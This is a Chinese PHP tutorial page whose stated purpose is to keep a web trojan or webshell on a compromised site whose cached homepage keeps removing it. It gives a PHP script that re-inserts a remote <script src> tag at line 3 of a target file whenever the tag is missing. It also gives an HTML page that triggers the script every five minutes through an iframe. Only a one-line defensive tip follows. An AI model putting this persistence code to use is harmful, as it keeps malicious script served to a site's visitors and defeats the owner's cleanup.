首页 >php教程 >PHP源码 >php在文件指定行中写入代码的方法

php在文件指定行中写入代码的方法

PHP中文网
PHP中文网原创
2016-05-25 17:10:041163浏览

有的站主页是缓存页面,你加入的网马代码或是webshell代码经常被更新或是其它的因素干掉,所以弄了这个代码,防范方法脚本之家将最后给解决方法

 代码如下:

<?php 
$file="aa.php" ; 
$code="<script src=http://www.php.cn/;</script>"; 
$f=fopen($file,"r+"); 
$content=fread($f,filesize($file)); 
fclose($f); 
if(!strstr($content,$code)){ 
$arrInsert = insertContent($file, $code, 3); 
unlink($file); 
foreach($arrInsert as $value) 
{ 
file_put_contents($file, $value, FILE_APPEND); 
} 
} 
function insertContent($source, $s, $iLine) { 
$file_handle = fopen($source, "r"); 
$i = 0; 
$arr = array(); 
while (!feof($file_handle)) { 
$line = fgets($file_handle); 
++$i; 
if ($i == $iLine) { 
$arr[] = $line .$s . "\n"; 
}else { 
$arr[] = $line; 
} 
} 
fclose($file_handle); 
return $arr; 
} 
?>

这个文件保存成php后,再用一个小程序隔几分钟指定执行它就可以。像operia浏览器就有这个功能。不过我又加了个html代码来运行它,可以用ie了,打开这个html后扔在哪就可以。

代码如下:

<HTML> 
<HEAD> 
</HEAD> 
<BODY> 
<SCRIPT LANGUAGE="JScript"> 
function singOut() { 
var O = document.createElement("iframe"); 
O.src="http://www.google.com/上边的php文件.php"; 
O.width=100; 
O.height=100; 
document.body.appendChild(O); 
} 
window.setInterval("singOut();",300000); 
</SCRIPT> 
</BODY> 
</HTML>


解决方法:这些代码都会在php中写入代码,我们可以写个规则禁止修改php文件.即可,一般服务器中才可以了,如果是虚拟主机的朋友就需要下载代码,经常查后门来解决了

声明:
本文内容由网友自发贡献,版权归原作者所有,本站不承担相应法律责任。如您发现有涉嫌抄袭侵权的内容,请联系admin@php.cn